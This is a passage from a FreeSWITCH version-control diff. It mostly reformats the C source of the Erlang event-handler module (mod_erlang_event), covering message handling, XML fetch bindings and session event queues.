switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found filled slot for %s\n", hash);
ei_x_encode_tuple_header(rbuf, 2);
@@ -803,7 +782,7 @@
ei_x_encode_atom(rbuf, "invalid_ref");
}
- switch_safe_free(pid); /* don't need it */
+ switch_safe_free(pid); /* don't need it */
return SWITCH_STATUS_SUCCESS;
}
@@ -811,7 +790,7 @@
/* fake enough of the net_kernel module to be able to respond to net_adm:ping */
/* {'$gen_call', {<cpx@freecpx.128.0>, #Ref<254770.4.0>}, {is_auth, cpx@freecpx} */
-static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
+static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
int version, size, type, arity;
char atom[MAXATOMLEN];
@@ -881,7 +860,7 @@
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_ref(rbuf, &ref);
ei_x_encode_atom(rbuf, "yes");
-
+
switch_mutex_lock(listener->sock_mutex);
ei_send(listener->sockfd, &pid, rbuf->buff, rbuf->index);
switch_mutex_unlock(listener->sock_mutex);
@@ -893,7 +872,7 @@
}
-int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
+int handle_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
{
int type, type2, size, version, arity, tmpindex;
switch_status_t ret = SWITCH_STATUS_SUCCESS;
@@ -905,37 +884,37 @@
buf->index = 0;
ei_decode_version(buf->buff, &buf->index, &version);
ei_get_type(buf->buff, &buf->index, &type, &size);
- switch(type) {
- case ERL_SMALL_TUPLE_EXT :
- case ERL_LARGE_TUPLE_EXT :
+ switch (type) {
+ case ERL_SMALL_TUPLE_EXT:
+ case ERL_LARGE_TUPLE_EXT:
tmpindex = buf->index;
ei_decode_tuple_header(buf->buff, &tmpindex, &arity);
ei_get_type(buf->buff, &tmpindex, &type2, &size);
- switch(type2) {
- case ERL_ATOM_EXT:
- ret = handle_msg_tuple(listener,msg,buf,rbuf);
- break;
- case ERL_REFERENCE_EXT :
- case ERL_NEW_REFERENCE_EXT :
- ret = handle_ref_tuple(listener, msg, buf, rbuf);
- break;
- default :
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "WEEEEEEEE %d %d\n", type, type2);
- /* some other kind of erlang term */
- ei_x_encode_tuple_header(rbuf, 2);
- ei_x_encode_atom(rbuf, "error");
- ei_x_encode_atom(rbuf, "undef");
- break;
+ switch (type2) {
+ case ERL_ATOM_EXT:
+ ret = handle_msg_tuple(listener, msg, buf, rbuf);
+ break;
+ case ERL_REFERENCE_EXT:
+ case ERL_NEW_REFERENCE_EXT:
+ ret = handle_ref_tuple(listener, msg, buf, rbuf);
+ break;
+ default:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "WEEEEEEEE %d %d\n", type, type2);
+ /* some other kind of erlang term */
+ ei_x_encode_tuple_header(rbuf, 2);
+ ei_x_encode_atom(rbuf, "error");
+ ei_x_encode_atom(rbuf, "undef");
+ break;
}
-
+
break;
-
- case ERL_ATOM_EXT :
- ret = handle_msg_atom(listener,msg,buf,rbuf);
+
+ case ERL_ATOM_EXT:
+ ret = handle_msg_atom(listener, msg, buf, rbuf);
break;
- default :
+ default:
/* some other kind of erlang term */
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
@@ -944,7 +923,7 @@
}
}
- if (SWITCH_STATUS_FALSE==ret) {
+ if (SWITCH_STATUS_FALSE == ret) {
return 0;
} else if (rbuf->index > 1) {
switch_mutex_lock(listener->sock_mutex);
@@ -954,9 +933,9 @@
ei_x_print_msg(rbuf, &msg->from, 1);
#endif
- if (SWITCH_STATUS_SUCCESS==ret)
+ if (SWITCH_STATUS_SUCCESS == ret)
return 0;
- else /* SWITCH_STATUS_TERM */
+ else /* SWITCH_STATUS_TERM */
return 1;
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Empty reply, supressing\n");
Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c (16578 => 16579)
--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -59,7 +59,7 @@
for (l = listen_list.listeners; l; l = l->next) {
if (switch_test_flag(l, LFLAG_LOG) && l->level >= node->level) {
- switch_log_node_t *dnode = switch_log_node_dup(node);
+ switch_log_node_t *dnode = switch_log_node_dup(node);
if (switch_queue_trypush(l->log_queue, dnode) == SWITCH_STATUS_SUCCESS) {
if (l->lost_logs) {
@@ -84,14 +84,14 @@
}
-static void expire_listener(listener_t **listener)
+static void expire_listener(listener_t ** listener)
{
void *pop;
-
+
switch_thread_rwlock_unlock((*listener)->rwlock);
switch_core_hash_destroy(&(*listener)->event_hash);
switch_core_destroy_memory_pool(&(*listener)->pool);
-
+
while (switch_queue_trypop((*listener)->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
switch_event_t *pevent = (switch_event_t *) pop;
switch_event_destroy(&pevent);
@@ -101,7 +101,8 @@
}
-static void remove_binding(listener_t *listener, erlang_pid *pid) {
+static void remove_binding(listener_t *listener, erlang_pid * pid)
+{
struct erlang_binding *ptr, *lst = NULL;
switch_mutex_lock(globals.listener_mutex);
@@ -109,8 +110,7 @@
switch_xml_set_binding_sections(bindings.search_binding, SWITCH_XML_SECTION_MAX);
for (ptr = bindings.head; ptr; lst = ptr, ptr = ptr->next) {
- if ((listener && ptr->listener == listener) ||
- (pid && (ptr->process.type == ERLANG_PID) && !ei_compare_pids(&ptr->process.pid, pid))) {
+ if ((listener && ptr->listener == listener) || (pid && (ptr->process.type == ERLANG_PID) && !ei_compare_pids(&ptr->process.pid, pid))) {
if (bindings.head == ptr) {
if (ptr->next) {
bindings.head = ptr->next;
@@ -136,11 +136,11 @@
}
-static void send_event_to_attached_sessions(listener_t* listener, switch_event_t *event)
+static void send_event_to_attached_sessions(listener_t *listener, switch_event_t *event)
{
char *uuid = switch_event_get_header(event, "unique-id");
switch_event_t *clone = NULL;
- session_elem_t* s;
+ session_elem_t *s;
if (!uuid)
return;
@@ -148,7 +148,8 @@
for (s = listener->session_list; s; s = s->next) {
/* check the event uuid against the uuid of each session */
if (!strcmp(uuid, s->uuid_str)) {
- switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s->uuid_str), SWITCH_LOG_DEBUG, "Sending event %s to attached session for %s\n", switch_event_name(event->event_id), s->uuid_str);
+ switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s->uuid_str), SWITCH_LOG_DEBUG, "Sending event %s to attached session for %s\n",
+ switch_event_name(event->event_id), s->uuid_str);
if (switch_event_dup(&clone, event) == SWITCH_STATUS_SUCCESS) {
/* add the event to the queue for this session */
if (switch_queue_trypush(s->event_queue, clone) != SWITCH_STATUS_SUCCESS) {
@@ -177,9 +178,9 @@
lp = listen_list.listeners;
switch_mutex_lock(globals.listener_mutex);
- while(lp) {
+ while (lp) {
uint8_t send = 0;
-
+
l = lp;
lp = lp->next;
@@ -187,7 +188,7 @@
one of them should receive the event as well
*/
- send_event_to_attached_sessions(l,event);
+ send_event_to_attached_sessions(l, event);
if (!switch_test_flag(l, LFLAG_EVENTS)) {
continue;
@@ -208,7 +209,7 @@
}
}
-
+
if (send) {
if (switch_event_dup(&clone, event) == SWITCH_STATUS_SUCCESS) {
if (switch_queue_trypush(l->event_queue, clone) == SWITCH_STATUS_SUCCESS) {
@@ -237,7 +238,7 @@
#ifdef WIN32
-static void close_socket(SOCKET *sock)
+static void close_socket(SOCKET * sock)
#else
static void close_socket(int *sock)
#endif
@@ -286,7 +287,7 @@
}
/* Search for a listener already talking to the specified node */
-static listener_t * find_listener(char* nodename)
+static listener_t *find_listener(char *nodename)
{
listener_t *l = NULL;
@@ -313,13 +314,14 @@
static void remove_session_elem_from_listener(listener_t *listener, session_elem_t *session_element)
{
session_elem_t *s, *last = NULL;
-
+
if (!session_element)
return;
- for(s = listener->session_list; s; s = s->next) {
+ for (s = listener->session_list; s; s = s->next) {
if (s == session_element) {
- switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_DEBUG, "Removing session element for %s\n", session_element->uuid_str);
+ switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_DEBUG, "Removing session element for %s\n",
+ session_element->uuid_str);
if (last) {
last->next = s->next;
} else {
@@ -342,17 +344,18 @@
/* this allows the application threads to exit */
switch_clear_flag_locked(session_element, LFLAG_SESSION_ALIVE);
switch_core_destroy_memory_pool(&session_element->pool);
- /*switch_safe_free(s);*/
+ /*switch_safe_free(s); */
}
-static void remove_session_elem_from_listener_locked(listener_t *listener, session_elem_t *session_element) {
+static void remove_session_elem_from_listener_locked(listener_t *listener, session_elem_t *session_element)
+{
switch_mutex_lock(listener->session_mutex);
remove_session_elem_from_listener(listener, session_element);
switch_mutex_unlock(listener->session_mutex);
}
-session_elem_t * find_session_elem_by_pid(listener_t *listener, erlang_pid *pid)
+session_elem_t *find_session_elem_by_pid(listener_t *listener, erlang_pid * pid)
{
session_elem_t *s = NULL;
@@ -369,9 +372,9 @@
static switch_xml_t erlang_fetch(const char *sectionstr, const char *tag_name, const char *key_name, const char *key_value,
- switch_event_t *params, void *user_data)
+ switch_event_t *params, void *user_data)
{
- char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
+ char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
int type, size;
int i = 0;
void *p = NULL;
@@ -388,7 +391,7 @@
section = switch_xml_parse_section_string((char *) sectionstr);
- for (ptr = bindings.head; ptr && ptr->section != section; ptr = ptr->next); /* just get the first match */
+ for (ptr = bindings.head; ptr && ptr->section != section; ptr = ptr->next); /* just get the first match */
if (!ptr) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "no binding for %s\n", sectionstr);
@@ -397,15 +400,16 @@
if (!ptr->listener) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NULL pointer binding!\n");
- return NULL; /* our pointer is trash */
+ return NULL; /* our pointer is trash */
}
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "binding for %s in section %s with key %s and value %s requested from node %s\n", tag_name, sectionstr, key_name, key_value, ptr->process.pid.node);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "binding for %s in section %s with key %s and value %s requested from node %s\n", tag_name,
+ sectionstr, key_name, key_value, ptr->process.pid.node);
switch_uuid_get(&uuid);
switch_uuid_format(uuid_str, &uuid);
- /*switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "Request-ID", uuid_str);*/
+ /*switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "Request-ID", uuid_str); */
ei_x_encode_tuple_header(&buf, 7);
ei_x_encode_atom(&buf, "fetch");
@@ -427,25 +431,26 @@
switch_mutex_unlock(ptr->listener->sock_mutex);
while (!(p = switch_core_hash_find(ptr->listener->fetch_reply_hash, uuid_str)) || p == &globals.WAITING) {
- if (i > 50) { /* half a second timeout */
+ if (i > 50) { /* half a second timeout */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Timed out when waiting for XML fetch response\n");
- switch_core_hash_insert(ptr->listener->fetch_reply_hash, uuid_str, &globals.TIMEOUT); /* TODO lock this? */
+ switch_core_hash_insert(ptr->listener->fetch_reply_hash, uuid_str, &globals.TIMEOUT); /* TODO lock this? */
return NULL;
}
i++;
- switch_yield(10000); /* 10ms */
+ switch_yield(10000); /* 10ms */
}
rep = (ei_x_buff *) p;
ei_get_type(rep->buff, &rep->index, &type, &size);
- if (type != ERL_STRING_EXT && type != ERL_BINARY_EXT) { /* XXX no unicode or character codes > 255 */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "XML fetch response contained non ASCII characters? (was type %d of size %d)\n", type, size);
+ if (type != ERL_STRING_EXT && type != ERL_BINARY_EXT) { /* XXX no unicode or character codes > 255 */
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "XML fetch response contained non ASCII characters? (was type %d of size %d)\n", type,
+ size);
return NULL;
}
-
+
if (!(xmlstr = malloc(size + 1))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error\n");
return NULL;
@@ -453,7 +458,7 @@
ei_decode_string_or_binary(rep->buff, &rep->index, size, xmlstr);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got data %s after %d milliseconds!\n", xmlstr, i*10);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got data %s after %d milliseconds!\n", xmlstr, i * 10);
if (zstr(xmlstr)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Result\n");
@@ -476,14 +481,14 @@
{
int result;
switch_core_session_t *session;
- switch_event_t *call_event=NULL;
- switch_channel_t *channel=NULL;
+ switch_event_t *call_event = NULL;
+ switch_channel_t *channel = NULL;
ei_x_buff lbuf;
/* Send a message to the associated registered process to let it know there is a call.
Message is a tuple of the form {call, <call-event>}
- */
-
+ */
+
if (switch_event_create(&call_event, SWITCH_EVENT_CHANNEL_DATA) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_CRIT, "Memory Error!\n");
return SWITCH_STATUS_MEMERR;
@@ -501,39 +506,41 @@
switch_core_session_rwunlock(session);
switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Content-Type", "command/reply");
switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Reply-Text", "+OK\n");
-
+
ei_x_new_with_version(&lbuf);
ei_x_encode_tuple_header(&lbuf, 2);
ei_x_encode_atom(&lbuf, "call");
ei_encode_switch_event(&lbuf, call_event);
switch_mutex_lock(listener->sock_mutex);
- switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_DEBUG, "Sending initial call event for %s\n", session_element->uuid_str);
+ switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_DEBUG, "Sending initial call event for %s\n",
+ session_element->uuid_str);
result = ei_sendto(listener->ec, listener->sockfd, &session_element->process, &lbuf);
switch_mutex_unlock(listener->sock_mutex);
if (result) {
- switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_ERROR, "Failed to send call event for %s\n", session_element->uuid_str);
+ switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_ERROR, "Failed to send call event for %s\n",
+ session_element->uuid_str);
}
-
+
ei_x_free(&lbuf);
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t check_attached_sessions(listener_t *listener)
{
- session_elem_t *last,*sp, *removed;
+ session_elem_t *last, *sp, *removed;
switch_status_t status = SWITCH_STATUS_SUCCESS;
void *pop;
/* check up on all the attached sessions -
if they have not yet sent an initial call event to the associated erlang process then do so
if they have pending events in their queues then send them
if the session has finished then clean it up
- */
+ */
switch_mutex_lock(listener->session_mutex);
sp = listener->session_list;
last = NULL;
- while(sp) {
+ while (sp) {
removed = NULL;
if (switch_test_flag(sp, LFLAG_WAITING_FOR_PID)) {
sp = sp->next;
@@ -561,11 +568,11 @@
while (switch_queue_trypop(sp->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
switch_event_t *pevent = (switch_event_t *) pop;
- /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "flushed event %s for %s\n", switch_event_name(pevent->event_id), sp->uuid_str);*/
+ /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "flushed event %s for %s\n", switch_event_name(pevent->event_id), sp->uuid_str); */
/* events from attached sessions are wrapped in a {call_event,<EVT>} tuple
to distinguish them from normal events (if they are sent to the same process)
- */
+ */
ei_x_new_with_version(&ebuf);
ei_x_encode_tuple_header(&ebuf, 2);
@@ -579,7 +586,8 @@
switch_event_destroy(&pevent);
}
/* this session can be removed */
- switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "Destroy event for attached session for %s in state %s\n", sp->uuid_str, switch_channel_state_name(sp->channel_state));
+ switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "Destroy event for attached session for %s in state %s\n",
+ sp->uuid_str, switch_channel_state_name(sp->channel_state));
ei_x_new_with_version(&ebuf);
ei_x_encode_atom(&ebuf, "call_hangup");
@@ -598,8 +606,8 @@
/* check event queue for this session */
switch_event_t *pevent = (switch_event_t *) pop;
- /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "popped event %s for %s\n", switch_event_name(pevent->event_id), sp->uuid_str);*/
-
+ /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp->uuid_str), SWITCH_LOG_DEBUG, "popped event %s for %s\n", switch_event_name(pevent->event_id), sp->uuid_str); */
+
/* events from attached sessions are wrapped in a {call_event,<EVT>} tuple
to distinguish them from normal events (if they are sent to the same process)
*/
@@ -609,7 +617,7 @@
ei_x_encode_tuple_header(&ebuf, 2);
ei_x_encode_atom(&ebuf, "call_event");
ei_encode_switch_event(&ebuf, pevent);
-
+
switch_mutex_lock(listener->sock_mutex);
ei_sendto(listener->ec, listener->sockfd, &sp->process, &ebuf);
switch_mutex_unlock(listener->sock_mutex);
@@ -621,7 +629,7 @@
}
switch_mutex_unlock(listener->session_mutex);
if (prefs.done) {
- return SWITCH_STATUS_FALSE; /* we're shutting down */
+ return SWITCH_STATUS_FALSE; /* we're shutting down */
} else {
return SWITCH_STATUS_SUCCESS;
}
@@ -635,34 +643,34 @@
if (switch_test_flag(listener, LFLAG_LOG)) {
if (switch_queue_trypop(listener->log_queue, &pop) == SWITCH_STATUS_SUCCESS) {
switch_log_node_t *dnode = (switch_log_node_t *) pop;
-
+
if (dnode->data) {
ei_x_buff lbuf;
ei_x_new_with_version(&lbuf);
ei_x_encode_tuple_header(&lbuf, 2);
ei_x_encode_atom(&lbuf, "log");
ei_x_encode_list_header(&lbuf, 7);
-
+
ei_x_encode_tuple_header(&lbuf, 2);
ei_x_encode_atom(&lbuf, "level");
- ei_x_encode_char(&lbuf, (unsigned char)dnode->level);
-
+ ei_x_encode_char(&lbuf, (unsigned char) dnode->level);
+
ei_x_encode_tuple_header(&lbuf, 2);
ei_x_encode_atom(&lbuf, "text_channel");
- ei_x_encode_char(&lbuf, (unsigned char)dnode->level);
-
+ ei_x_encode_char(&lbuf, (unsigned char) dnode->level);
+
ei_x_encode_tuple_header(&lbuf, 2);
ei_x_encode_atom(&lbuf, "file");
ei_x_encode_string(&lbuf, dnode->file);
-
+
ei_x_encode_tuple_header(&lbuf, 2);
ei_x_encode_atom(&lbuf, "func");
ei_x_encode_string(&lbuf, dnode->func);
-
+
ei_x_encode_tuple_header(&lbuf, 2);
ei_x_encode_atom(&lbuf, "line");
- ei_x_encode_ulong(&lbuf, (unsigned long)dnode->line);
-
+ ei_x_encode_ulong(&lbuf, (unsigned long) dnode->line);
+
ei_x_encode_tuple_header(&lbuf, 2);
ei_x_encode_atom(&lbuf, "data");
ei_x_encode_string(&lbuf, dnode->data);
@@ -670,13 +678,13 @@
ei_x_encode_tuple_header(&lbuf, 2);
ei_x_encode_atom(&lbuf, "user_data");
ei_x_encode_string(&lbuf, switch_str_nil(dnode->userdata));
-
+
ei_x_encode_empty_list(&lbuf);
-
+
switch_mutex_lock(listener->sock_mutex);
ei_sendto(listener->ec, listener->sockfd, &listener->log_process, &lbuf);
switch_mutex_unlock(listener->sock_mutex);
-
+
ei_x_free(&lbuf);
switch_log_node_free(&dnode);
}
@@ -686,19 +694,19 @@
static void check_event_queue(listener_t *listener)
{
- void* pop;
+ void *pop;
/* send out any pending crap in the event queue */
if (switch_test_flag(listener, LFLAG_EVENTS)) {
if (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
switch_event_t *pevent = (switch_event_t *) pop;
-
+
ei_x_buff ebuf;
ei_x_new_with_version(&ebuf);
-
+
ei_encode_switch_event(&ebuf, pevent);
-
+
switch_mutex_lock(listener->sock_mutex);
ei_sendto(listener->ec, listener->sockfd, &listener->event_process, &ebuf);
switch_mutex_unlock(listener->sock_mutex);
@@ -709,17 +717,16 @@
}
}
-static void handle_exit(listener_t *listener, erlang_pid *pid)
+static void handle_exit(listener_t *listener, erlang_pid * pid)
{
session_elem_t *s;
- remove_binding(NULL, pid); /* TODO - why don't we pass the listener as the first argument? */
+ remove_binding(NULL, pid); /* TODO - why don't we pass the listener as the first argument? */
if ((s = find_session_elem_by_pid(listener, pid))) {
if (s->channel_state < CS_HANGUP) {
switch_core_session_t *session;
- switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s->uuid_str), SWITCH_LOG_WARNING, "Outbound session for %s exited unexpectedly!\n",
- s->uuid_str);
-
+ switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s->uuid_str), SWITCH_LOG_WARNING, "Outbound session for %s exited unexpectedly!\n", s->uuid_str);
+
if ((session = switch_core_session_locate(s->uuid_str))) {
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_channel_set_private(channel, "_erlang_session_", NULL);
@@ -771,7 +778,7 @@
}
}
-static void listener_main_loop(listener_t *listener)
+static void listener_main_loop(listener_t *listener)
{
int status = 1;
@@ -779,72 +786,73 @@
erlang_msg msg;
ei_x_buff buf;
ei_x_buff rbuf;
-
+
ei_x_new(&buf);
ei_x_new_with_version(&rbuf);
/* do we need the mutex when reading? */
- /*switch_mutex_lock(listener->sock_mutex);*/
+ /*switch_mutex_lock(listener->sock_mutex); */
status = ei_xreceive_msg_tmo(listener->sockfd, &msg, &buf, 100);
- /*switch_mutex_unlock(listener->sock_mutex);*/
+ /*switch_mutex_unlock(listener->sock_mutex); */
- switch(status) {
- case ERL_TICK :
- break;
- case ERL_MSG :
- switch(msg.msgtype) {
- case ERL_SEND :
+ switch (status) {
+ case ERL_TICK:
+ break;
+ case ERL_MSG:
+ switch (msg.msgtype) {
+ case ERL_SEND:
#ifdef EI_DEBUG
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send\n");
- ei_x_print_msg(&buf, &msg.from, 0);
- /*ei_s_print_term(&pbuf, buf.buff, &i);*/
- /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send was message %s\n", pbuf);*/
+ ei_x_print_msg(&buf, &msg.from, 0);
+ /*ei_s_print_term(&pbuf, buf.buff, &i); */
+ /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send was message %s\n", pbuf); */
#endif
- if (handle_msg(listener, &msg, &buf, &rbuf)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "handle_msg requested exit\n");
- return;
- }
- break;
- case ERL_REG_SEND :
+ if (handle_msg(listener, &msg, &buf, &rbuf)) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "handle_msg requested exit\n");
+ return;
+ }
+ break;
+ case ERL_REG_SEND:
#ifdef EI_DEBUG
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send to %s\n", msg.toname);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send to %s\n", msg.toname);
- ei_x_print_reg_msg(&buf, msg.toname, 0);
- /*i = 1;*/
- /*ei_s_print_term(&pbuf, buf.buff, &i);*/
- /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send was message %s\n", pbuf);*/
+ ei_x_print_reg_msg(&buf, msg.toname, 0);
+ /*i = 1; */
+ /*ei_s_print_term(&pbuf, buf.buff, &i); */
+ /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send was message %s\n", pbuf); */
#endif
- if (handle_msg(listener, &msg, &buf, &rbuf)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "handle_msg requested exit\n");
- return;
- }
- break;
- case ERL_LINK :
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_link\n");
- break;
- case ERL_UNLINK :
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_unlink\n");
- break;
- case ERL_EXIT :
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_exit from %s <%d.%d.%d>\n", msg.from.node, msg.from.creation, msg.from.num, msg.from.serial);
- handle_exit(listener, &msg.from);
- break;
- default :
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unexpected msg type %d\n", (int)(msg.msgtype));
- break;
+ if (handle_msg(listener, &msg, &buf, &rbuf)) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "handle_msg requested exit\n");
+ return;
}
break;
- case ERL_ERROR :
- if (erl_errno != ETIMEDOUT && erl_errno != EAGAIN) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_error\n");
- }
+ case ERL_LINK:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_link\n");
break;
- default :
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unexpected status %d \n", status);
+ case ERL_UNLINK:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_unlink\n");
break;
+ case ERL_EXIT:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_exit from %s <%d.%d.%d>\n", msg.from.node, msg.from.creation, msg.from.num,
+ msg.from.serial);
+ handle_exit(listener, &msg.from);
+ break;
+ default:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unexpected msg type %d\n", (int) (msg.msgtype));
+ break;
+ }
+ break;
+ case ERL_ERROR:
+ if (erl_errno != ETIMEDOUT && erl_errno != EAGAIN) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_error\n");
+ }
+ break;
+ default:
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unexpected status %d \n", status);
+ break;
}
ei_x_free(&buf);
@@ -859,7 +867,7 @@
}
}
-static switch_bool_t check_inbound_acl(listener_t* listener)
+static switch_bool_t check_inbound_acl(listener_t *listener)
{
/* check acl to see if inbound connection is allowed */
if (prefs.acl_count && !zstr(listener->remote_ip)) {
@@ -906,7 +914,7 @@
static void *SWITCH_THREAD_FUNC listener_run(switch_thread_t *thread, void *obj)
{
listener_t *listener = (listener_t *) obj;
- session_elem_t* s;
+ session_elem_t *s;
switch_core_session_t *session;
switch_mutex_lock(globals.listener_mutex);
@@ -921,11 +929,11 @@
if (zstr(listener->remote_ip)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Open\n");
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Open from %s\n", listener->remote_ip);/*, listener->remote_port);*/
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connection Open from %s\n", listener->remote_ip); /*, listener->remote_port); */
}
-
+
add_listener(listener);
- listener_main_loop(listener);
+ listener_main_loop(listener);
}
/* clean up */
@@ -934,7 +942,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Session complete, waiting for children\n");
switch_thread_rwlock_wrlock(listener->rwlock);
-
+
if (listener->sockfd) {
close_socket(&listener->sockfd);
}
@@ -949,7 +957,7 @@
/* clean up all the attached sessions */
switch_mutex_lock(listener->session_mutex);
- /* TODO destroy memory pools since they're not children of the listener's pool*/
+ /* TODO destroy memory pools since they're not children of the listener's pool */
for (s = listener->session_list; s; s = s->next) {
if ((session = switch_core_session_locate(s->uuid_str))) {
switch_channel_clear_flag(switch_core_session_get_channel(session), CF_CONTROLLED);
@@ -1020,7 +1028,7 @@
else
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid compatability release '%s' specified\n", val);
} else if (!strcmp(var, "shortname")) {
- prefs.shortname = switch_true(val);
+ prefs.shortname = switch_true(val);
} else if (!strcmp(var, "encoding")) {
if (!strcasecmp(val, "string")) {
prefs.encoding = ERLANG_STRING;
@@ -1061,10 +1069,10 @@
}
-static listener_t* new_listener(struct ei_cnode_s *ec, int clientfd)
